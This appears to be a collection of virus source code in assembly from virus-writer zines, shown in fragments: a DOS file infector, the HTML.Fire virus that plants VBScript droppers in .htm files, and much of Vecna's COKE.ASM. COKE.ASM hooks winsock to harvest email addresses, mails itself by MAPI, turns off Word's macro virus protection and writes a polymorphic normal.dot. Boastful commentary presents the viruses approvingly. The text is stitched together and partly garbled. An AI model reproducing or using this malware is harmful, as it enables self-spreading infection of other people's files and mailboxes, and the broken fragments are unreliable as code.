I< mov bx, 'mm' >
endif
I< cmp ax, 'c.' >
_JZ file_ok
I< mov bx, 'ex' >
ifdef INFECT_ONLY_CMM_EXX
I< mov bx, 'xx' >
endif
I< cmp ax, 'e.' >
_JZ file_ok
JUMP no_inf
BLOCK file_ok
I< lodsw >
I< or ax, 2020h >
I< cmp ax, bx >
_JNZ no_inf
I< sub si, 4 >
JUMP prepare_str
BLOCK prepare_str
I< dec si >
I< mov al, [si] >
I< cmp al, '/' >
_JZ str_start
I< cmp al, '\' >
_JZ str_start
I< cmp al, ':' >
_JZ str_start
I< cmp si, dx >
_JA prepare_str
I< dec si >
JUMP str_start
BLOCK str_start
I< inc si >
I< lodsw >
I< or ax, 2020h >
I< xor ax, 0AA55h
CALLL init_int24
BLOCK no_com_ojeb
I< mov si, 1234h >
RELO _old_inst
I< mov ds:[si + 1], cx >
I< pop si >
I< mov ax, -10h >
I< mov ds:[1234h], ax >
RELO old_cs
I< mov ds:[1234h], ax >
RELO old_ss
TSR.INC
BLOCK set_marker
I< mov ds:[2], ax >
I< mov ah, 40h >
I< cwd >
I< mov cx, 1234h >
RELO in_mem
I< int 21h >
_JC close
BLOCK close
I< mov ah, 3eh >
I< int 21h >
JUMP no_inf_int24
BLOCK no_inf_int24
CALLL deinit_int24
JUMP no_inf
BLOCK no_inf
I< ret >
TSR.INC
BLOCK exe_infect
I< inc cx >
I< mov byte ptr ds:[1234h], cl >
RELO filetype
BLOCK max_mem_FFFF
I< add ax, [si + 0ch] >
I< mov ds:[1234h], ax >
RELO old_max_mem
I< mov ax, [si + 0eh] >
I< mov ds:[1234h], ax >
RELO old_ss
I< mov ax, [si + 10h] >
I< mov ds:[1234h], ax >
RELO old_sp
I< mov ax, [si + 14h] >
I< mov ds:[1234h], ax >
RELO old_ip
I< mov ds:[1234h], ax >
RELO _old_ip
I< mov ax, [si + 16h] >
I< mov ds:[1234h], ax >
RELO old_cs
BLOCK write_exeh
I< mov ax, BAD_CLEAN >
I< cmp word ptr ds:[1234h], ax >
RELO @JMPS
I< mov ax, 0 >
_JA set_marker
I< mov bp, 16 >
CALLL @rnd_max
I< sub al, 8 >
I< mov di, 1234h >
TSR.INC
RELO _old_ip
I< add ds:[di + 1], al >
I< mov word ptr ds:[0], 0ed33h >
I< mov ax, 09090h >
JUMP set_marker
BLOCK int24
I< mov al, 3 >
I< iret >
BLOCK init_int24
I< push dx >
I< push ds >
I< push es >
I< push cs >
I< pop ds >
I< mov ax, 3524h >
I< int 21h >
I< mov ds:[1234h], es >
RELO int24_seg
I< mov ds:[1234h], bx >
RELO int24_ofs
I< mov dx, 1234h >
RELO int24
I< mov ax, 2524h >
I< int 21h >
I< pop es >
I< pop ds >
I< pop dx >
I< ret >
BLOCK deinit_int24
I< push ds >
I< mov dx, cs:[1234h] >
RELO int24_ofs
I< mov ds, cs:[1234h] >
RELO int24_seg
I< mov ax, 2524h >
I< int 21h >
I< pop ds >
I< ret >
BLOCK push_all
I< pop word ptr cs:[1234h] >
RELO exit_adr
I< push ax >
I< push bx >
I< push cx >
I< push dx >
I< push si >
I< push di >
I< push bp >
I< push ds >
I< push es >
I< jmp word ptr cs:[1234h]
RELO exit_adr
BLOCK pop_all
I< pop word ptr cs:[1234h] >
RELO exit_adr
I< pop es >
I< pop ds >
TSR.INC
BLOCK old21
D< dd 0 >
BLOCK int24_seg
D< dw 0 >
BLOCK int24_ofs
D< dw 0 >
BLOCK exit_adr
D< dw 0 >
BLOCK exe_header
D< db 18h dup(0) >
BLOCK ticks
D< dw 0 >
BLOCK time
D< dw 0 >
BLOCK date
D< dw 0 >
BLOCK psp
D< dw 0 >
BLOCK handle
D< dw 0 >
BLOCK path
D< db 7 dup(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0ah) >
MACROS.INC
M_END EQU 0
M_CODE EQU 0E8h ;start of code
M_CALL EQU 0E8h
M_JMP EQU 0E9h
M_RELO EQU 0EDh
M_BLOCK EQU 0EEh
M_STOP EQU 0EFh
endm
dw num
endm
I macro inst
local end_inst
db end_inst - $ - 1
inst
end_inst:
endm
D macro inst
local end_inst
db end_inst - $ - 1 + MAX_CODE_SIZE
inst
end_inst:
endm
HTML.Fire is first in the world HTML/DOS hybrid. The virus infects all htm files in current directory. It uses
VBScript in HTML (given version works under Internet Explorer 4.0 and above) to convert itself back to DOS
executable by running debug with hex-dump script in shell.
In fact it is a direct action html-infector, that finds .htm files on local disc beeing runned, and places there a
VBScript with hexdump to reborn this dropper again.
comment *
HTML.FIRE BY ULTRAS/MATRiX
~~~~~~~~~~~~~~~~~~~~~~~~~~
First in the world HTML/DOS hybrid. The virus infects all htm files in current
The catalogue writes down at the end of a file debug script. The given version
Works under Internet Explorer 4.0 and above.
model tiny
code
org 100
start:
mov ah,4e
mov dx,offset htm_
find:
int 21
jc exit
mov ax,3d02
mov dx,9e
int 21
jc findnext
xchg bx,ax
mov ax,5700
int 21
push cx dx
cmp dh,80
jae zaraza
mov ax,4202
xor cx,cx
xor dx,dx
int 21
mov si,100
mov di,offset end_virus
mov cx,end_virus-start
push bx
call @1
pop bx
call infect
pop dx
add dh,0c8
push dx
zaraza:
pop dx cx
mov ax,5701
int 21
mov ah,3e
int 21
findnext:
mov ah,4f
jmp find
exit:
mov ax,4c00
int 21
@1:
push cx
lodsb
mov bx,ax
mov cx,4
shr al,cl
HTML.Fire.asm
push ax
call @2
stosb
pop ax
shl al,cl
sub bl,al
xchg al,bl
call @2
stosb
mov ax,' '
stosb
pop cx
loop @1
stosb
stosb
ret
@2:
cmp al,0a
jae @3
add al,'0'
ret
@3:
add al,'A'-0a
ret
infect:
mov ah,40
mov dx,offset headerinf
mov cx,hendinf-headerinf
int 21
mov dx,offset end_virus
d_loop:
push dx
call calcloc
call write_par
pop dx
push dx
mov cx,di
sub cx,dx
cmp cx,60d
jb write_d
mov cx,60d
write_d:
mov ah,40
int 21
push ax
mov dx,offset echodest
mov cx,evirusf-echodest
mov ah,40
int 21
pop ax
pop dx
add dx,ax
cmp dx,di
jae write_zap
jmp d_loop
write_zap:
mov ah,40
mov dx,offset zap_vir
mov cx,end_zap-zap_vir
int 21
mov dx,offset endinf
mov cx,end_endinf-endinf
HTML.Fire.asm
mov ah,40
int 21
ret
virii db 'FiRe by ULTRAS'
write_par:
mov cx,enddb-databyte
jmp short ech_o
mov cx,5
ech_o:
mov dx,offset databyte
mov ah,40
int 21
ret
calcloc:
push ax bx cx dx si di
sub dx,offset end_virus
mov ax,dx
mov cx,3
xor dx,dx
div cx
mov dx,ax
add dx,100
mov di,offset hifr
mov si,offset loc_
xchg dh,dl
mov loc_,dx
mov cx,2
call @1
mov di,offset buffer
mov si,offset hifr
movsw
lodsb
movsw
pop di si dx cx bx ax
ret
htm_ db '*.htm',0
zap_vir:
db 's.WriteLine "ECHO g >>fire.scr"',0dh,0a
db 's.WriteLine "ECHO q >>fire.scr"',0dh,0a
end_zap:
databyte db 's.WriteLine "ECHO E'
buffer db '0100 '
enddb:
echodest db ' >>'
virscr db 'fire.scr"',0dh,0a
evirusf:
endinf:
db 's.WriteLine "debug<fire.scr"',0dh,0a
db 's.WriteLine "del fire.scr"',0dh,0a
db 's.WriteLine "ctty con"',0dh,0a
db 's.Close',0dh,0a
db 'a.Run ("ultras.bat")',0dh,0a
db '--></script>',0dh,0a
end_endinf:
headerinf:
db 0dh,0a,'<script Language="VBScript"><!--',0dh,0a
db 'Dim a,f,s',0dh,0a
db 'Set a = CreateObject("Wscript.Shell")',0dh,0a
db 'Set f = CreateObject("Scripting.FileSystemObject")',0dh,0a
db 'Set s = f.CreateTextFile("ultras.bat", 2, False)',0dh,0a
db 's.WriteLine "@echo off"',0dh,0a
db 's.WriteLine "ctty nul"',0dh,0a
HTML.Fire.asm
hendinf:
loc_ dw 0
hifr dw 0,0,0,0
end_virus:
end start
This virus is another fine creation by Vecna. What's good on this one? It is one of few multipartite viruses,
infecting both PE files and Word documets.
Virus is per process resident, with full win32 compatability, even manipulation with PE header under NT
works fine (this is in couple of viruses handled incorrectly). Another good feature is lz/rle compression to
reduce its size, well it couple of years ago when first virus with compresion, Cruncher hitted the world, and
still its worthy idea. Polymorphism application in the virus is based on the initial code islands strategy (as
used on Commander Bomber or in OneHalf), followed by several poly loops in the PE code, here are called
poly subroutines with local variables. To make the virus even better, macro stuph is polymorphic too.
Identification of the virus is harder for the AVerz due the anti-emulation code usage, some parts are
encrypted in memory, virus runs in multiple threads.
There are several ways of spreading the virus - it acts as direct action infector, hooks MAPI calls and
attached infected documents or files to emails sended from the affected computer, sends emails to visited
webpages. Clever on the email spreading strategy is storing of the crc32 of the email to which infected
messages have been already sent.
No virus is perfect without some retro stuph - in this case AVP monitor is forced to say goodbye and very
possitive effect - by deleting AV checksums this virus increases free disk space :)
Of course, it has also more advanced features, but to discover them you will have to check the virus
yourselves :P
Virus has payload - a message box, which is displayed 8 months after infection. Without this feature could
virus live forever on the comp, it is not necessary to give the user a hit on virus infection....
.586p
.model flat, STDCALL
locals
include host.inc
TRUE EQU 1
FALSE EQU 0
MONTH_DELAY EQU 8
MAX_M_DEEP EQU 6
MAX_SOCK EQU 10
vcode label
db '(c) Vecna', 0
InitWSOCK proc
call @@1
wsock32 db 'WSOCK32.DLL', 0
@@1:
call [ebp+(ofs _GetModuleHandle-ofs vcode)]
test eax, eax
jz @@0
call @@2
db 'connect',0
@@2:
push eax
call @@3
db 'recv', 0
@@3:
push eax
call [ebp+(ofs _GetProcAddress-ofs vcode)]
mov [ebp+(ofs _recv-ofs vcode)], eax
call [ebp+(ofs _GetProcAddress-ofs vcode)]
mov [ebp+(ofs _connect-ofs vcode)], eax
clc
ret
@@0:
stc
ret
InitWSOCK endp
http_install proc
sub ecx, ecx
call @@set_seh
mov esp, [esp+8]
call delta
jmp @@fault
@@set_seh:
push dwo fs:[ecx]
mov fs:[ecx], esp
call InitWSOCK
jc @@fault
mov ebx, [ebp+(ofs _base-ofs vcode)]
@@check:
cmp wo [ebx], 'ZM'
je @@found
@@fault:
sub ecx, ecx
pop dwo fs:[ecx]
pop ecx
COKE.ASM
ret
@@found:
mov edi, [ebx+3ch]
lea edi, [ebx+edi+128]
mov edi, [edi]
@@2:
mov esi, [ebx+edi+12]
test esi, esi
jz @@ret
add esi, ebx
lodsd
or eax, 20202020h
cmp eax, 'cosw'
je @@wsock
add edi, 20
jmp @@2
@@wsock:
mov esi, [ebx+edi+16]
add esi, ebx
@@searchloop:
lodsd
test eax, eax
jz @@ret
cmp eax, [ebp+(ofs _connect-ofs vcode)]
jne @@3
lea eax, [ebp+(ofs New_connect-ofs vcode)]
lea edi, [esi-4]
mov ecx, 4
push esi
push eax
mov esi, esp ;fake buffer in stack
call WriteMem
pop esi
pop esi
@@3:
cmp eax, [ebp+(ofs _recv-ofs vcode)]
jne @@searchloop
lea eax, [ebp+(ofs New_recv-ofs vcode)]
lea edi, [esi-4]
mov ecx, 4
push esi
push eax
mov esi, esp ;fake buffer in stack
call WriteMem
pop esi
pop esi
@@ret:
jmp @@fault
http_install endp
NewGetProcAddress proc
push esp
pushad
call delta
mov eax, [ebp+(ofs _GetProcAddress-ofs vcode)]
mov [esp+(7*4)+4], eax
call InitWSOCK
jc @@1
lea eax, [ebp+(ofs wsock32-ofs vcode)]
push eax
call [ebp+(ofs _GetModuleHandle-ofs vcode)]
test eax, eax
COKE.ASM
jz @@1
cmp [esp+(7*4)+12], eax
jnz @@1
lea eax, [ebp+(ofs CheckWSOCK32-ofs vcode)]
xchg [esp+(7*4)+8], eax
mov [ebp+(ofs wsock_ret-ofs vcode)], eax
@@1:
popad
ret
NewGetProcAddress endp
CheckWSOCK32 proc
push ebp
call delta
cmp eax, [ebp+(ofs _connect-ofs vcode)]
jne @@1
lea eax, [ebp+(ofs New_connect-ofs vcode)]
jmp @@2
@@1:
cmp eax, [ebp+(ofs _recv-ofs vcode)]
jne @@2
lea eax, [ebp+(ofs New_recv-ofs vcode)]
@@2:
pop ebp
push 12345678h
wsock_ret equ dwo $-4
ret
CheckWSOCK32 endp
New_connect proc
push esp
pushad
call delta
mov eax, [ebp+(ofs _connect-ofs vcode)]
mov [esp+(7*4)+4], eax
mov esi, [esp+(7*4)+16]
mov ax, wo [esi+2] ;port number
cmp ax, 5000h ;80
jne @@1
mov eax, [esp+(7*4)+12] ;get socket
mov ebx, [ebp+(ofs _socket-ofs vcode)]
mov [ebp+(ofs socket-ofs vcode)+(ebx*4)], eax
inc ebx
cmp ebx, MAX_SOCK
jne @@2
sub ebx, ebx
@@2:
mov [ebp+(ofs _socket-ofs vcode)], ebx
@@1:
popad
ret
New_connect endp
delta proc
call @@1
@@1:
pop ebp
sub ebp, (ofs @@1-ofs vcode)
ret
delta endp
New_recv proc
COKE.ASM
push esp
pushad
call delta
mov eax, [ebp+(ofs _recv-ofs vcode)]
mov [esp+(7*4)+4], eax
mov eax, [esp+(7*4)+12]
New_recv2 proc
pushad
call delta
mov eax, [ebp+(ofs email_w-ofs vcode)]
test eax, eax
jnz @@0
mov esi, [ebp+(ofs recv_buff-ofs vcode)]
mov ecx, [ebp+(ofs recv_size-ofs vcode)]
sub ecx, 8
@@1:
push ecx
push esi
lodsd
or eax, 20202000h
cmp eax, 'iam"'
jne @@2
lodsd
or eax, 00202020h
cmp eax, ':otl'
jne @@2
lea edi, [ebp+(ofs email-ofs vcode)]
lea ebx, [edi+127]
@@4:
lodsb
cmp al, '"'
je @@3
cmp al, '?'
je @@3
cmp edi, ebx
je @@3
stosb
jmp @@4
@@3:
sub eax, eax
stosb
dec eax
mov dwo [ebp+(ofs email_w-ofs vcode)], eax
@@2:
COKE.ASM
pop esi
inc esi
pop ecx
loop @@1
@@0:
popad
push 12345678h
recv_ret equ dwo $-4
ret
New_recv2 endp
MailThread proc
cld
mov ebp, [esp+4]
sub eax, eax
call @@set_seh
mov esp, [esp+8]
call delta
push -1
call [ebp+(ofs _Sleep-ofs vcode)]
@@set_seh:
push dwo fs:[eax]
mov fs:[eax], esp
@@main_loop:
mov ecx, [ebp+(ofs email_w-ofs vcode)]
test ecx, ecx
jz @@no_queued
push esi
sub ecx, ecx
cld
@@1strlen:
lodsb
test al, al
jz @@2strlen
inc ecx
jmp @@1strlen
@@2strlen:
mov edi, ecx
pop esi
call CRC32
mov [ebp+(ofs email_crc-ofs vcode)], eax
call CheckList
test eax, eax
jnz @@done
IF MAIL_DEBUG EQ TRUE
sub ecx, ecx
push 4 ;yes/no
lea eax, [ebp+(ofs title1-ofs vcode)]
push eax
lea eax, [ebp+(ofs email-ofs vcode)]
push eax
push ecx
call [ebp+(ofs _MessageBoxA-ofs vcode)]
cmp eax, 7 ;no!
je @@done
ENDIF
COKE.ASM
call OpenAncev
jc @@file ;file dont exists, binary send
@@doc:
call GetTemplateDir
@@1:
lodsb
test al, al
jnz @@1
lea edi, [esi-1]
lea esi, [ebp+(ofs ndot-ofs vcode)]
@@3:
lodsb
stosb
test al, al
jnz @@3
lea esi, [ebp+(ofs directory-ofs vcode)]
push 80h
push esi
call [ebp+(ofs _SetFileAttributesA-ofs vcode)]
test eax, eax
jz @@file
mov edx, 'COD.'
jmp @@attach
@@file:
call CreateDropper
mov eax, [ebp+(ofs mm_on_off-ofs vcode)]
push eax ;buffer
mov eax, [ebp+(ofs fsizel-ofs vcode)]
push eax ;size
lea edi, [ebp+(ofs directory-ofs vcode)]
push edi
lea esi, [ebp+(ofs shitfile-ofs vcode)]
@@4:
lodsb
stosb
test al, al
jnz @@4
mov dwo [ebp+(ofs wd_att-ofs vcode)], 82h
call WriteDump ;hidden dump
push 00004000h+00008000h
push 0
push dwo [ebp+(ofs mm_on_off-ofs vcode)]
call [ebp+(ofs _VirtualFree-ofs vcode)]
COKE.ASM
@@attach:
mapimsg = 0
origin = mapimsg + size MapiMessage
destin = origin + size MapiRecipDesc
file = destin + size MapiRecipDesc
push 1
pop eax
mov [esi.mapimsg.nFileCount], eax
mov [esi.mapimsg.nRecipCount], eax
mov [esi.destin.ulRecipClass], eax
inc eax
mov [esi.mapimsg.flags], eax
lea eax, [ebp+(ofs email-ofs vcode)]
mov [esi.destin.lpszName], eax
mov [esi.destin.lpszAddress], eax
lea eax, [ebp+(ofs directory-ofs vcode)]
mov [esi.file.lpszPathName], eax
call @@1aa
db '', 0
@@1aa:
pop [esi.mapimsg.lpszNoteText]
jnz @@33
call InsertList
@@33:
add esp, DATA_SIZE
@@unload_mapi:
mov eax, [ebp+(ofs _mapi-ofs vcode)]
call [ebp+(ofs _FreeLibrary-ofs vcode)]
@@done:
sub eax, eax
mov [ebp+(ofs email_w-ofs vcode)], eax
@@no_queued:
push MAIL_PRIORITY*1000
call [ebp+(ofs _Sleep-ofs vcode)]
jmp @@main_loop
MailThread endp
GetTemplateDir proc
call @@2
db 'SOFTWARE\Microsoft\Office\8.0\Common\FileNew\LocalTemplates', 0
@@2:
pop eax
call ConsultKey
ret
GetTemplateDir endp
CreateDropper proc
push 00000040h
push 00002000h+00001000h+00100000h
push 48*1024
push 0
call [ebp+(ofs _VirtualAlloc-ofs vcode)]
mov [ebp+(ofs mm_on_off-ofs vcode)], eax
sub edi, edi
xchg edi, eax
call @@1
@@0:
dbNUL04Dh, 05Ah, 050h, 000h, 000h, 000h, 002h, 000h
dbNUL002h, 000h, 004h, 000h, 000h, 000h, 00Fh, 000h
dbNUL000h, 000h, 0FFh, 0FFh, 000h, 001h, 000h, 0B8h
dbNUL000h, 006h, 000h, 040h, 000h, 000h, 000h, 01Ah
dbNUL000h, 021h, 000h, 001h, 000h, 001h, 000h, 0BAh
dbNUL010h, 000h, 000h, 000h, 00Eh, 01Fh, 0B4h, 009h
dbNUL0CDh, 021h, 0B8h, 001h, 04Ch, 0CDh, 021h, 090h
dbNUL090h, 054h, 068h, 069h, 073h, 020h, 070h, 072h
dbNUL06Fh, 067h, 072h, 061h, 06Dh, 020h, 06Dh, 075h
dbNUL073h, 074h, 020h, 062h, 065h, 020h, 072h, 075h
dbNUL06Eh, 020h, 075h, 06Eh, 064h, 065h, 072h, 020h
dbNUL057h, 069h, 06Eh, 033h, 032h, 00Dh, 00Ah, 024h
dbNUL037h, 000h, 087h, 000h, 050h, 045h, 000h, 001h
dbNUL000h, 04Ch, 001h, 004h, 000h, 000h, 000h, 074h
dbNUL025h, 0F5h, 00Eh, 000h, 007h, 000h, 0E0h, 000h
dbNUL000h, 000h, 08Eh, 081h, 00Bh, 001h, 002h, 019h
COKE.ASM
random_f proc
push eax
call random0
pop eax
ret
random_f endp
include ndot.inc
MacroSpread proc
sub ecx, ecx
call @@set_seh
mov esp, [esp+8]
call delta
jmp @@0
@@set_seh:
push dwo fs:[ecx]
mov fs:[ecx], esp
call OpenAncev
jc @@1 ;dont exists, macro spread
mov eax, 10
call random
or eax, eax ;just in case that we are
jnz @@0 ;reinfecting
@@1:
call @@2
@@1v dd 0
@@2:
push 000F003Fh ;KEY_ALL_ACCESS
push 0
call @@3
db 'SOFTWARE\Microsoft\Office\8.0\Word\Options', 0
@@3:
push 80000001H ;HKEY_CURRENT_USER
call [ebp+(ofs _RegOpenKeyEx-ofs vcode)]
test eax, eax
jnz @@0
push 1 ;size
call @@4
db '0', 0
@@4:
push 1 ;type
push 0
call @@5
db 'EnableMacroVirusProtection', 0 ;key entry
@@5:
push dwo [ebp+(ofs @@1v-ofs vcode)]
call [ebp+(ofs _RegSetValueEx-ofs vcode)]
push dwo [ebp+(ofs @@1v-ofs vcode)]
call [ebp+(ofs _RegCloseKey-ofs vcode)] ;close key
call GetTemplateDir
cld
push esi
@@6:
lodsb
test al, al
jnz @@6
lea edi, [esi-1]
COKE.ASM
push eax
lea eax, [ebp+(ofs macro_sized-ofs vcode)]
push eax
call lzrw1_decompress ;unpack normaldot
mov ecx, [ebp+(ofs macro_sized-ofs vcode)]
mov esi, [ebp+(ofs mm_on_off-ofs vcode)]
lea edi, [esi+ecx+4] ;edi=buffer for vars
mov [ebp+(ofs variables-ofs vcode)], edi
mov ebx, edi
@@9:
lodsb
cmp al, 'A'
jb @@10
cmp al, 'Z'
ja @@10
call random_f
jc @@10
sub al, 'A'-'a'
@@10:
mov [esi-1], al
loop @@9
mov ecx, 10 ;generate variables
@@13:
push ecx
mov eax, 8 ;lenght of the name of variable
call random
inc eax
inc eax
mov ecx, eax
@@12:
mov eax, 'Z'-'A'
call random
add al, 'A'
call random_f
jc @@11
sub al, 'A'-'a'
@@11:
stosb
loop @@12
sub eax, eax
stosb
pop ecx
loop @@13 ;next variable
push 00000040h
push 00002000h+00001000h+00100000h
push 4*1024
push 0
call [ebp+(ofs _VirtualAlloc-ofs vcode)] ;alloc memory for macro text
push eax
mov edi, eax
mov esi, [ebp+(ofs mm_on_off-ofs vcode)]
@@14:
lodsb
cmp al, '%'
jne @@18
lodsb
sub al, '0'
push ebx
push esi
movzx ecx, al
mov esi, ebx
@@15:
COKE.ASM
lodsb
test al, al
jnz @@15
loop @@15
@@16:
lodsb
test al, al
jz @@17
stosb
jmp @@16
@@17:
pop esi
pop ebx
mov al, 12h
org $-1
@@18:
stosb
lea eax, [ebx-4]
cmp esi, eax
jb @@14
push 00004000h+00008000h
push 0
push dwo [ebp+(ofs mm_on_off-ofs vcode)]
call [ebp+(ofs _VirtualFree-ofs vcode)] ;free mem macro code (unprocess)
mov ecx, edi
pop esi
sub ecx, esi
push ecx
mov [ebp+(ofs mm_on_off-ofs vcode)], esi
push 00000040h
push 00002000h+00001000h+00100000h
push 150*1024
push 0
call [ebp+(ofs _VirtualAlloc-ofs vcode)] ;alloc memory for macro text
sub ecx, ecx
sub ebx, ebx
mov edi, eax
xchg eax, [esp]
xchg eax, ecx
add ecx, [ebp+(ofs mm_on_off-ofs vcode)];ecx=limit of macro template
mov by [ebp+(ofs mdeep-ofs vcode)], -1
@@19:
mov esi, [ebp+(ofs mm_on_off-ofs vcode)]
inc ah
cmp ah, 2
jne @@20
mov by [ebp+(ofs mdeep-ofs vcode)], 0
@@20:
cmp ah, 8
jne @@21
mov by [ebp+(ofs mdeep-ofs vcode)], -1
@@21:
cmp ah, 6
jne @@22
mov esi, [ebp+(ofs dbgscript-ofs vcode)]
push ecx
mov ecx, [ebp+(ofs dbgscript_size-ofs vcode)]
rep movsb
pop ecx
call MacroGarble
jmp @@19
@@22:
COKE.ASM
cmp ah, 9
je @@28
@@23:
cmp esi, ecx
jb @@24 ;all buffer scanned?
test ebx, ebx
jz @@19 ;nothing we was searching exists
mov esi, [ebp+(ofs mm_on_off-ofs vcode)];it exists, but we skipped!
sub ebx, ebx
@@24:
lodsb
cmp al, ah
jne @@27 ;find line we're searching
inc ebx ;flag found
push eax
mov ax, 100
call random
cmp eax, 33 ;1/3
pop eax
jnb @@27 ;skip this time
mov by [esi-1], 9 ;flag as done
@@25:
lodsb
test al, al
jz @@26
stosb
cmp al, 10
jne @@25
call MacroGarble ;after CRLF, insert garbage
jmp @@25
@@26:
jmp @@23
@@27:
lodsb
test al, al
jnz @@27 ;seek till next line
jmp @@23
@@28:
push 00004000h+00008000h
push 0
push dwo [ebp+(ofs mm_on_off-ofs vcode)]
call [ebp+(ofs _VirtualFree-ofs vcode)] ;free memory from macro code
mov eax, [esp] ;get buffer from stack
push eax
sub edi, eax
push edi
lea eax, [ebp+(ofs cokefile-ofs vcode)]
push eax
mov dwo [ebp+(ofs wd_att-ofs vcode)], 82h
call WriteDump ;create/write new normal.dot
pop eax ;buffer
push 00004000h+00008000h
push 0
push eax
call [ebp+(ofs _VirtualFree-ofs vcode)] ;free memory from complete code
push 00004000h+00008000h
push 0
push dwo [ebp+(ofs dbgscript-ofs vcode)]
call [ebp+(ofs _VirtualFree-ofs vcode)] ;free memory from debug script
@@0:
sub ecx, ecx
pop dwo fs:[ecx]
COKE.ASM
pop ecx
sub eax, eax
mov dwo [ebp+(ofs mm_on_off-ofs vcode)], eax
add al, '0'
mov by [ebp+(ofs dmt1-ofs vcode)], al
mov by [ebp+(ofs dmt2-ofs vcode)+7], al
mov by [ebp+(ofs outcmd-ofs vcode)+7], al
mov by [ebp+(ofs ssize-ofs vcode)+7], al
mov by [ebp+(ofs coda-ofs vcode)+7], al
mov by [ebp+(ofs dmt3-ofs vcode)+7], al
mov by [ebp+(ofs dmt4-ofs vcode)+7], al
mov by [ebp+(ofs dmt5-ofs vcode)+7], al
ret
MacroSpread endp
MacroGarble proc
push eax
push ecx
push esi
cmp by [ebp+(ofs mdeep-ofs vcode)], MAX_M_DEEP
jae @@0
inc by [ebp+(ofs mdeep-ofs vcode)]
mov eax, 4
call random
add eax, 2
mov ecx, eax
@@1:
push ecx
@@2:
mov eax, 16
call random
cmp al, 10
je @@remark
cmp al, 11
je @@for
cmp al, 12
je @@variables
cmp al, 13
je @@if
cmp al, 14
je @@10
jmp @@2
@@if:
mov eax, ' fI'
stosd
dec edi
call MakeVar
mov eax, ' = '
call random_f
jc @@3
dec ah
call random_f
jc @@3
inc ah
inc ah
@@3:
stosd
dec edi
call MakeVar
mov eax, 'ehT '
stosd
mov eax, 000a0d00h+'n'
COKE.ASM
stosd
dec edi
call MacroGarble
call @@4
db 'End If', 13, 10
@@4:
pop esi
movsd
movsd
jmp @@10
@@remark:
call random_f
jc @@5
mov al, "'"
stosb
jmp @@6
@@5:
mov eax, ' meR'
stosd
@@6:
call MakeVar
call MakeVar
@@7:
mov ax, 0a0dh
stosw
jmp @@10
@@variables:
call MakeVar
call random_f
jc @@string
mov eax, ' = '
stosd
dec edi
call MakeNumber
@@8:
jmp @@7
@@string:
call MakeVar
mov eax, ' = $'
stosd
mov al, '"'
stosb
call MakeVar
mov al, '"'
stosb
jmp @@8
@@for:
mov eax, ' roF'
stosd
push edi
call MakeVar
mov eax, ' = '
stosd
dec edi
call MakeNumber
mov eax, ' oT '
stosd
call MakeNumber
mov ax, 0a0dh
stosw
call MacroGarble
mov eax, 'txeN'
COKE.ASM
stosd
mov al, ' '
stosb
pop esi
@@9:
lodsb
cmp al, ' '
je @@8
stosb
jmp @@9
@@10:
pop ecx
dec ecx
jnz @@1
dec by [ebp+(ofs mdeep-ofs vcode)]
@@0:
pop esi
pop ecx
pop eax
ret
MacroGarble endp
MakeNumber proc
push ecx
push eax
mov eax, 2
call random
inc eax
mov ecx, eax
@@1:
mov eax, '9'-'0'
call random
add al, '0'
stosb
loop @@1
pop eax
pop ecx
ret
MakeNumber endp
include lz.inc
include macro.inc
update_address proc
push eax ecx
db 0b8h
addr dd 0 ;get address to eax
mov ecx, 4
@@1:
rol ax, 4
call mhex ;print hex digits
loop @@1
add dwo [ebp+(ofs addr-ofs vcode)], 10h ;update address
pop ecx eax
ret
update_address endp
mhex proc
push eax ebx
and eax, 01111b ;lower nibble
call $+21
COKE.ASM
db '0123456789ABCDEF'
pop ebx
xlat ;turn it in hex digit
stosb
pop ebx eax
ret
mhex endp
copy_line proc
push eax
@@0:
lodsb
or al, al
jz @@1 ;zero found, stop copy
stosb
jmp @@0
@@1:
pop eax
ret
copy_line endp
make_hex proc
push eax ecx esi
db 0b8h+6
iaddr dd 0 ;esi<->actual buffer position
inc dwo [ebp+(ofs iaddr-ofs vcode)] ;set next
mov al, 20h
stosb ;print space
lodsb
rol al, 4
call mhex ;print upper nibble
rol al, 4
call mhex ;print lower nibble
pop esi ecx eax
loop make_hex
ret
make_hex endp
script proc
cld
call debugmutator
mov dwo [ebp+(ofs addr-ofs vcode)], 0100h
mov [ebp+(ofs iaddr-ofs vcode)], esi ;set vars
lea esi, [ebp+(ofs intro-ofs vcode)]
call copy_line ;copy intro code
mov eax, 16
cdq
xchg eax, ecx
div ecx ;ecx=number of 16-bytes lines
mov ecx, eax ;edx=remainder for last line
@@0:
push ecx
lea esi, [ebp+(ofs outcmd-ofs vcode)]
call copy_line ;print
call update_address ;address
mov ecx, 16
call make_hex ;code to assemble
mov eax, 000A0D00h+'"'
stosd ;next line
dec edi
pop ecx
loop @@0
COKE.ASM
dbgscript dd 0
dbgscript_size dd 0
debugmutator proc
pushad
mov eax, 9
call random
inc eax
add by [ebp+(ofs dmt1-ofs vcode)], al
add by [ebp+(ofs dmt2-ofs vcode)+7], al
add by [ebp+(ofs outcmd-ofs vcode)+7], al
add by [ebp+(ofs ssize-ofs vcode)+7], al
add by [ebp+(ofs coda-ofs vcode)+7], al
add by [ebp+(ofs dmt3-ofs vcode)+7], al
add by [ebp+(ofs dmt4-ofs vcode)+7], al
add by [ebp+(ofs dmt5-ofs vcode)+7], al
popad
ret
debugmutator endp
MakeVar proc
push ecx
push eax
mov eax, 5
call random
add eax, 4
mov ecx, eax
@@1:
mov al, 'Z'-'A'
call random
add al, 'A'
call random_f
jc @@2
sub al, 'A'-'a'
@@2:
stosb
push ecx
push edi
call @@3
db 'AaEeIiOoUu'
@@3:
pop edi
mov ecx, 10
repne scasb
jecxz @@4
dec dwo [esp-1]
@@4:
pop edi
pop ecx
loop @@1
stosb
pop eax
pop ecx
ret
MakeVar endp
PatchIT proc
push esi
lea edi, [esi+ecx] ;destination
mov ecx, 4
push eax
mov esi, esp ;fake buffer in stack
call WriteMem
pop esi ;remove shit
pop esi
ret
PatchIT endp
_base dd 400000h
NUM_TOPICS EQU 8
t0 db '', 0
t1 db 'Kewl page!', 0
t2 db 'Improvement to your page', 0
t3 db 'Your page r0x0r!', 0
t4 db 'You must see this...', 0
t5 db 'Secret stuff!', 0
crypt_poly proc
pushad
mov al, by [ebp+(ofs cp_key-ofs vcode)]
mov ecx, ofs egtable-ofs poly
lea esi, [ebp+(ofs poly-ofs vcode)]
@@1:
xor by [esi], al
inc esi
loop @@1
popad
ret
crypt_poly endp
vinit proc
COKE.ASM
call @@adf
db 'ADVAPI32',0
@@adf:
call [ebp+(ofs _LoadLibraryA-ofs vcode)]
call @@a11
